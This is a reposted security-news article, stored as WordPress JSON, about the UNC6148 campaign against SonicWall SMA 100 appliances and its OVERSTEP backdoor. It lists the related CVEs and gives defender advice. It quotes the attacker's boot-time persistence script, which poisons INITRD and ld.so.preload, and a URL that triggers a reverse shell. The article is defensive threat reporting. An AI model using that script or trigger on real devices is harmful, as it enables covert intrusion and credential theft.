{"id":5413,"date":"2025-07-17T10:05:28","date_gmt":"2025-07-17T10:05:28","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2025\/07\/17\/sonicwall-sma-devices-0-day-rce-vulnerability-exploited-to-deploy-overstep-ransomware\/"},"modified":"2025-07-17T10:05:28","modified_gmt":"2025-07-17T10:05:28","slug":"sonicwall-sma-devices-0-day-rce-vulnerability-exploited-to-deploy-overstep-ransomware","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2025\/07\/17\/sonicwall-sma-devices-0-day-rce-vulnerability-exploited-to-deploy-overstep-ransomware\/","title":{"rendered":"SonicWall SMA Devices 0-Day RCE Vulnerability Exploited to Deploy OVERSTEP Ransomware"},"content":{"rendered":"<p>    SonicWall SMA Devices 0-Day RCE Vulnerability Exploited to Deploy OVERSTEP Ransomware<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n    <!-- no image --><br \/>\n \t<BR><br \/>\n<BR><\/BR><\/p>\n<div>\n<p>SonicWall\u2019s end-of-life SMA 100 series appliances are again on the front line after investigators unearthed a covert campaign that couples a suspected zero-day remote-code-execution flaw with a sophisticated backdoor called OVERSTEP.<\/p>\n<p>The operation, attributed to the financially motivated group UNC6148, first steals administrator credentials and one-time-password seeds, then pivots to full device compromise before exfiltrating data and preparing for ransomware deployment.<\/p>\n<p>The attack chain begins with a burst of HTTP requests that ultimately hands the adversary a shell on the appliance\u2014an action that should be impossible under normal conditions.<\/p>\n<p>Google Threat Intelligence analysts <a href=\"https:\/\/cloud.google.com\/blog\/topics\/threat-intelligence\/sonicwall-secure-mobile-access-exploitation-overstep-backdoor\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">noted<\/a> that once the shell is active the intruder exports the device\u2019s configuration, quietly injects malicious rules, and uploads a base64-encoded binary into the persistent <code>\/cf<\/code> partition.<\/p>\n<p>The binary is later copied to <code>\/usr\/lib\/libsamba-errors.so.6<\/code> and force-loaded on every process start via <code>\/etc\/ld.so.preload<\/code>, instantly granting the actor root-level reach across the appliance.<\/p>\n<p>Investigators tied the initial foothold to one of several long-standing <a href=\"https:\/\/cybersecuritynews.com\/multiple-sonicwall-sma-100-vulnerabilities\/\" target=\"_blank\" rel=\"noreferrer noopener\">SMA vulnerabilities<\/a> routinely traded in crime forums.<\/p>\n<p>Table 1 summarises the most relevant bugs that provide either direct code-execution or credential theft paths exploited by related campaigns over the past three years.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-fixed-layout\">\n<thead>\n<tr>\n<th>CVE<\/th>\n<th>Year<\/th>\n<th>Auth?<\/th>\n<th>Type<\/th>\n<th>Key Impact<\/th>\n<th>Patch Status<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>CVE-2021-20038<\/td>\n<td>2021<\/td>\n<td>No<\/td>\n<td>Memory corruption RCE<\/td>\n<td>Execute arbitrary code unauthenticated<\/td>\n<td>Patched July 2021<\/td>\n<\/tr>\n<tr>\n<td>CVE-2024-38475<\/td>\n<td>2024<\/td>\n<td>No<\/td>\n<td>Path traversal<\/td>\n<td>Dump <code>temp.db<\/code> &amp; <code>persist.db<\/code> to steal passwords and OTP seeds<\/td>\n<td>Patched Feb 2025<\/td>\n<\/tr>\n<tr>\n<td>CVE-2021-20035<\/td>\n<td>2021<\/td>\n<td>Yes<\/td>\n<td>Command injection<\/td>\n<td>RCE via <code>\/cgi-bin\/sitecustomization<\/code> handler<\/td>\n<td>Patched April 2021<\/td>\n<\/tr>\n<tr>\n<td>CVE-2021-20039<\/td>\n<td>2021<\/td>\n<td>Yes<\/td>\n<td>Command injection<\/td>\n<td>RCE via <code>\/cgi-bin\/viewcert<\/code> handler linked to Abyss ransomware<\/td>\n<td>Patched May 2021<\/td>\n<\/tr>\n<tr>\n<td>CVE-2025-32819<\/td>\n<td>2025<\/td>\n<td>Yes<\/td>\n<td>File deletion<\/td>\n<td>Resets built-in admin password to <code>password<\/code>\n<\/td>\n<td>Patched June 2025<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p>The Shell commands executed by the <code>dopasswords<\/code> command depicts how OVERSTEP compresses credential databases into a web-reachable TAR archive, ensuring effortless download by the attacker.<\/p>\n<h2 class=\"wp-block-heading\"><strong>Persistence Tactics: Hijacking the Boot Sequence<\/strong><\/h2>\n<p>Once foothold is secured, UNC6148 cements <a href=\"https:\/\/cybersecuritynews.com\/detecting-and-responding-to-new-nation-state-persistence-techniques\/\" target=\"_blank\" rel=\"noreferrer noopener\">persistence<\/a> by rewriting the <code>bootCurrentFirmware()<\/code> routine inside <code>\/etc\/rc.d\/rc.fwboot<\/code>.<\/p>\n<p>The modified script mounts the device\u2019s compressed initial RAM disk (<code>INITRD<\/code>), plants the trojanised library, and rewrites <code>INITRD.GZ<\/code> so the rogue code loads before any legitimate service.<\/p>\n<p>A timestamp \u201ctouch\u201d operation aligns file dates with the official kernel image, frustrating any quick metadata checks.<\/p>\n<pre class=\"wp-block-code\"><code># Extract and poison INITRD\ngzip -d $fwLoc\/INITRD.GZ\nmount -o loop $fwLoc\/INITRD $fwLoc\/zzz\ncp \/cf\/libsamba-errors.so.6 $fwLoc\/zzz\/usr\/lib\/\necho \/usr\/lib\/libsamba-errors.so.6 &gt; $fwLoc\/zzz\/etc\/ld.so.preload\numount $fwLoc\/zzz &amp;&amp; gzip $fwLoc\/INITRD\nmv $fwLoc\/INITRD.gz $fwLoc\/INITRD.GZ\n\/usr\/local\/sbin\/kexec -l $fwLoc\/BZIMAGE --append=\"`cat $fwLoc\/LINUX.OPT`\"\n\/usr\/local\/sbin\/kexec -e<\/code><\/pre>\n<p>When the appliance reboots, every dynamic binary\u2014including the web server responsible for logging\u2014links against the malicious library.<\/p>\n<p>OVERSTEP hooks <code>open*<\/code>, <code>readdir*<\/code>, and <code>write<\/code> to hide its presence and parse inbound buffers for the strings <code>dobackshell<\/code> or <code>dopasswords<\/code>.<\/p>\n<p>A single HTTP GET such as <code>https:\/\/device\/query?q=dobackshell,1.2.3.4,4444<\/code> triggers a reverse shell without touching disk logs, thanks to in-memory log tampering executed inside the hijacked <code>write<\/code> call.<\/p>\n<p>The result is a resilient foothold: even fully patched appliances can be re-compromised as long as <a href=\"https:\/\/cybersecuritynews.com\/stolen-youtube-channel-credentials\/\" target=\"_blank\" rel=\"noreferrer noopener\">stolen credentials<\/a> remain valid.<\/p>\n<p>Google\u2019s analysts urge defenders to image disks offline, rotate every password and OTP seed, and verify the absence of <code>\/etc\/ld.so.preload<\/code>; its very existence on SMA hardware is \u201ctantamount to compromise\u201d.<\/p>\n<p class=\"has-text-align-center has-background\" style=\"background:linear-gradient(180deg,rgb(238,238,238) 91%,rgb(169,184,195) 100%)\"><strong>Boost detection, reduce alert fatigue, accelerate response; all with an interactive sandbox built for security teams -&gt;\u00a0<a href=\"https:\/\/any.run\/demo?utm_source=csn&amp;utm_medium=article&amp;utm_campaign=top3_ciso_challenges&amp;utm_content=demo_1&amp;utm_term=160725\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Try ANY.RUN Now<\/a><\/strong><\/p>\n<p>The post <a href=\"https:\/\/cybersecuritynews.com\/sonicwall-sma-devices-0-day-rce-vulnerability\/\">SonicWall SMA Devices 0-Day RCE Vulnerability Exploited to Deploy OVERSTEP Ransomware<\/a> appeared first on <a href=\"https:\/\/cybersecuritynews.com\/\">Cyber Security News<\/a>.<\/p>\n<\/div>\n<p> \t<BR><br \/>\n <BR><\/BR><br \/>\n    Tushar Subhra Dutta<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n<a href=\"https:\/\/cybersecuritynews.com\/sonicwall-sma-devices-0-day-rce-vulnerability\/\">Go to cyber-security-news<\/a><br \/>\n \t<BR><br \/>\n <BR><\/BR><\/p>\n","protected":false},"excerpt":{"rendered":"<p>SonicWall SMA Devices 0-Day RCE Vulnerability Exploited to Deploy OVERSTEP Ransomware SonicWall\u2019s end-of-life SMA 100 series appliances are again on the front line after investigators unearthed a covert campaign that couples a suspected zero-day remote-code-execution flaw with a sophisticated backdoor called OVERSTEP. The operation, attributed to the financially motivated group UNC6148, first steals administrator credentials [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[63,131],"tags":[130],"class_list":["post-5413","post","type-post","status-publish","format-standard","hentry","category-cyber-security-news","category-vulnerability","tag-cyber-security-news"],"_links":{"self":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/5413"}],"collection":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/comments?post=5413"}],"version-history":[{"count":0,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/5413\/revisions"}],"wp:attachment":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/media?parent=5413"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/categories?post=5413"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/tags?post=5413"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}